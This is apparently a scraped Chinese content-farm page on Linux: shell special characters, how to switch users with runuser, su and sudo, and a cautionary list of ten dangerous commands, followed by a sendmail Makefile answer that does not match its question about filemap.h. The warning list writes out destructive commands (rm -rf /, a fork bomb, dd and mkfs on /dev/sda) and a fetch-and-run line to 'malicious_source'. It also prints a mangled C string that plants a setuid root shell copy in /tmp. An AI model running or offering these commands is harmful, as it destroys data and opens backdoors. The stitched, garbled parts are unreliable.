導航:首頁 > 操作系統 > linux代碼大全

linux代碼大全

發布時間:2023-02-01 12:26:27

linux特殊符號大全

tab:文本分隔符,相當於四個空格,在命令行界面可以用來自動補齊命令與目錄。
ESC:esc+. ,上一條命令的選項參數,vim恢復到命令模式。
~:家目錄
`:反引號,編程中調用shell命令
!:調用前面的命令,!!調用上一條,!23調用前面低23條。
@:at符,後面接IP地址。
#:Linux文件中注釋行,表示不起作用。
$:文件行結尾標識符,變數標識符。
%:格式化文本。
^:文件行首標識符
&:任務放到後台
*:通配符,代表一個字元或者很多個字元。
\:用來轉義,\t表示製表符,\n表示換行符。
<:數據流的流入方向,表示輸入,將數據傳入給左側軟體。
|:管道,改變數據流的方向,將數據傳入給另外的軟體。
>:數據流的流出方向,表示輸出,將屏幕輸出的內容寫入一個文件。
2>:數據流的流出的第二個方向,表示錯誤輸出,報錯信息會寫入到這個文件中。
>>:表示追加寫入
/:根目錄,目錄分隔符
『』:雙引號,支持轉義
『:單引號,不支持轉義
():shell編程中使用,命令行用的不多
[]:索引
{}:代碼塊
::vim或者less命令中,表示可以輸入命令
;:分割不同命令
-:短選項標識符-h
--:長選項標識符--help

㈡ linux下切換用戶命令

#1:runuser命令 runuser命令使用一個替代的用戶或者組ID運行一個Shell。這個命令僅在root用戶時有用。 僅以會話PAM鉤子運行,並且沒有密碼提示。如果用一個非root用戶,並且該用戶沒有許可權設置user ID,這個命令將會因為程序沒有setuid而失敗。因runuser不會運行認證和賬戶PAM鉤子,它比su更底層。 語法: 代碼如下: runuser -l userNameHere -c 'command' runuser -l userNameHere -c '/path/to/command arg1 arg2' 舉例來說,作為一個root用戶,你也許想檢查下oracle用戶下的shell資源限制,輸入: 代碼如下: # runuser -l oracle -c 'ulimit -SHa' 或者監察下nginx或lighttpd web伺服器限制: 代碼如下: # runuser -l nginx -c 'ulimit -SHa' 或 代碼如下: # runuser -l lighttpd -c 'ulimit -SHa' 有時,root用戶由於許可權(安全)問題不能瀏覽NFS掛載的共享: 代碼如下: # ls -l /nfs/wwwroot/cyberciti.biz/http 或 代碼如下: # cd /nfs/wwwroot/cyberciti.biz/http 可能的輸出: 代碼如下: -bash: cd: /nfs/wwwroot/cyberciti.biz/http/: Permission denied 盡管如此,apache用戶被允許瀏覽或訪問掛載在/nfs/wwwroot/cyberciti.biz/http/下基於nfs的系統: 代碼如下: # runuser -l apache -c 'ls -l /nfs/wwwroot/cyberciti.biz/http/' 或 代碼如下: # runuser -l apache -c 'cd /nfs/wwwroot/cyberciti.biz/http/; vi index.php' 使用runuser命令,無需使用密碼,並且,只能在root用戶下使用。 可用選項: -l: 讓shell成為登錄shell,用 runuser -l PAM 文件替代默認的 -g:指定主要的組 -G 追加組 -c:命令,要傳到shell的單個命令 --session-command=COMMAND:使用-c傳遞單個命令道shell中並且不創建新的會話 -m: 不重置環境變數。 #2:su命令 su命令允許你成為一個超級用戶或者替代用戶(substitute user),欺騙用戶(spoof user),設置用戶(set user)或者切換用戶(switch user)。它允許一個Linxu用戶切換當前用戶到那些你知道密碼的目標用戶,切換包括與之關聯的運行中的控制台(console)或者Shell,它的語法如下: 代碼如下: su - su - username 切換到root用戶 su命令會詢問目標用戶的密碼,在你的shell命令行中輸入 su - 來切換到root用戶(你必須知道root用戶的密碼): 代碼如下: vivek@wks01:~$ su - 或 代碼如下: vivek@wks01:~$ su - root 輸出示例: Password: 代碼如下: root@wks01:/root# logout vivek@wks01:~$ 如果輸入了正確的root密碼,會話的所有權(這里應該指當前控制台的上下文——譯注)將改為root賬戶。輸入logout可以退出一個root登錄的shell,輸入 whoami或者id命令來驗證當前會話的所有者: whoami 或 id 用root賬戶運行命令 語法是: 代碼如下: su - root -c "command" 或 代碼如下: su - -c "command arg1" 查看/root目錄下的內容,這些原本是普通用戶無法訪問的,運行: 代碼如下: su - root -c "ls -l /root" 需要注意的是,Linix和一些Unix-like系統有一個wheel用戶組,並且只允許這個組內的用戶使用su切換到root。 使用su命令來讓其他用戶運行命令 下面這個命令是切換到oracle的賬戶,並且顯示限制清單: 代碼如下: $ su - oracle -c 'ulimit -aHS' 同樣, 如果提供了正確的oracle密碼,會話所有權將會變成oracle賬戶。su命令的日誌保存在系統日誌中,一般是在/var/log/auth.log(Debian/Ubuntu)或者/var/log/secure(RHEL/CentOS)。 #3: sudo命令 sudo以另外的用戶來執行一個命令,但是它跟著一組關於那些用戶可以以那些其他用戶執行那些命令的規則(有點繞口——譯注)。這個規則在/etc/sudoers這個文件中被定義。不像su,sudo驗證用戶是靠用戶自己的密碼而不是那個要切換的用戶密碼。當提供一個審計跟蹤命令和他們的參數時(原文:...whileproviding an audit trail of the commands and their arguments——譯注)sudo允許一個系統管理員給某些用戶(或用戶組)委派以root或其他用戶來運行某些(或全部)命令的許可權。這允許無需在用戶之間共享密碼就可以在指定宿主上將指定命令委派給指定用戶。語法如下: 代碼如下: sudo command GUI工具注意事項(su和sudo的前端GUI) gksu 命令是su的前台,gksudo 是sudo的前端。他們的主要用途是用來運行需要root許可權但不需要運行一個X terminal emulator和使用直接使用su的圖形化命令。語法如下: 代碼如下: gksu [-u ] [options] gksudo [-u ] [options] 僅輸入gksu,將會顯示下面這個彈窗: 然後,你將會被要求輸入root用戶的密碼: 你也可以直接運行下面代碼: 代碼如下: gksu -u root 'ls /root' 或,以oracle用戶運行命令: 代碼如下: gksu -u oracle 'ulimit -aHS' 或作為root登錄: 代碼如下: gksu -u root -l 總結:runuser VS su VS sudo

㈢ Linux中最危險的10個命令

Linux中最危險的10個命令

對於編程人員或或者Linux系統管理員來說,操作Linux系統最常見的方法就是使用命令行。當然,Linux命令行佷有用、很高效,但有時候也很危險,尤其是在你誤操作或者不確定你自己在正在做什麼的時候。下面我就為大家盤點最危險是10個命令,一起來看看吧!

當然,以下命令通常都是在root許可權下才能將愚蠢發揮到無可救葯;在普 通用戶身份下,破壞的只是自己的一畝三分地。

1. rm -rf 命令

rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm 命令的選項。

rm命令在Linux下通常用來刪除文件。

rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的文件夾”)

rm -f 命令能不經過詢問直接刪除‘只讀文件’。(譯註:Linux下刪除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個參數 只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來 要求刪除確認,而-f則抑制了這個提示。)

rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)

rm -rf *:強制刪除當前目錄的所有文件。

rm -rf . : 強制刪除當前文件夾及其子文件夾。

從 現在起,當你要執行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創建rm -i的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f參數前一定考慮好 你在做什麼!譯者本人有著血淚的教訓啊。)

2. :(){:|:&};: 命令

這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。

:(){:|:&};:

哦?你確認你要試試么?千萬別在公司正式的伺服器上實驗啊~~

3. 命令> /dev/sda

上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。

4. mv 文件夾 /dev/null

這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,並不能阻止 數據恢復軟體的救贖,所以,真正的`徹底毀滅,需要採用專用的軟體或者手法來完成——我知道你肯定有些東西想刪除得乾乾凈凈的。)

# mv /home/user/* /dev/null

上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被‘捲入’黑洞(null)之中。

5. wget http://malicious_source -O- | sh

上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。

注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)

6. mkfs.ext3 /dev/sda

上列命令會格式化塊設備‘sda’,你無疑知道在執行上列命令後你的塊設備(硬碟驅 動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀 滅性的,上面的數據都會被蒸發了。)

7. > file

上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。 不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟體都未必能幫助你了。另外,我想你可能真正想用的是 “>>”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似 “>xt.conf”的命令會覆蓋配置文件或其他任何的系統配置文件。

8. ^foo^bar

這個命令在“鮮為人知而又實用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯註:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“黑客”技巧。)

9. dd if=/dev/random of=/dev/sda

上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除數據么?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)

10. 隱藏命令

下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區。

這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “″“″“″“″“″“″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

注意: 不要在你的或你的同學或學校的電腦里的Linux終端或Shell執行以上的任何一個命令,因為這將導致數據丟失或者系統崩潰。如果你想測試它們,請在虛擬機上運行。

;

㈣ linux源代碼,求詳細分析,代碼如下,來自 /mm: filemap.h


找到了個帖子,你可以參考參考。原帖地址:

參考:
如果你沒有安裝Berkeley db(8)庫軟體包,或不知是否擁有;你就需要在Makefile文件中去除對它的支持。編輯你的Makefile文件,查找以DBMDEF開始的行:

DBMDEF= -DNDBM –DNEWDB –DINS ?這一行

刪除這個部分

刪除字元串「-DNEWDB」這個部分後,修改完成後,結果如下所示:

DBMDEF= -DNDBM –DNIS ?刪除以後

接著查找以LIBS開始的行:

LIBS= -ldb -ldbm -lresolv?這一行(不完全准確)

刪除這個部分

刪除這行的字元串「-ldb」這個部分,修改完成後,結果如下所示:

LIBS= -ldbm -lresolv ?刪除以後

這樣就完成了從你的Makefile中刪除對Berkeley db的支持。

如果你的系統支持Berkeley db的話,則你還需要給Makefile一些消息。必須指定正確的頭文件和庫函數的路徑,以便將其包含到sendmail中去。查找以INCDIRS開始的行:

INCDIRS=-I/usr/sww/include ?這一行
# loader options
LDOPTS= -Bstatic
# Library directories
LIBDIRS=-L/usr/sww/lib ?還有這一行

你需要將這兩行中的路徑名改為Berkeley db的庫所在路徑。如果你無法確定,最好去除對Berkeley db的支持。

INCDIRS=-I/usr/local/include/db ?新的
# loader options
LDOPTS= -Bstatic
# Library directories
LIBDIRS=-L/usr/local/lib ?新的

上面這個修改的例子,是基於Berkeley db的頭文件在/usr/local/include/db,庫文件在/usr/local/lib目錄下所做的,可供參考。

希望以上內容對你有所幫助!

閱讀全文

與linux代碼大全相關的資料

熱點內容
港台電影平台 瀏覽:78
故意違章追女交警的台灣電影 瀏覽:545
阿貝雲免費伺服器下載 瀏覽:166
韓國電影徐元 瀏覽:879
一部母乳電影 瀏覽:819
不用口罩做解壓球 瀏覽:933
鄭州程序員35歲之後就失業了嗎 瀏覽:868
阿里雲伺服器銷售可以做嗎 瀏覽:942
適合情侶看的動作電影推薦 瀏覽:649
男男丹麥電影 瀏覽:805
我的世界紅藍隊比賽是什麼伺服器 瀏覽:737
法國兩個男人火車上吃母乳 瀏覽:812
水生電影完整版 瀏覽:23
演化博弈pdf 瀏覽:489
二手伺服器主機怎麼用 瀏覽:158
小女生電影1980年法國 瀏覽:357
楚喬傳txt下載 瀏覽:847
秀妍和楊偉發生車禍韓國電影 瀏覽:559
jipx 中文字幕 瀏覽:170
港版武則天電影2000版 瀏覽:312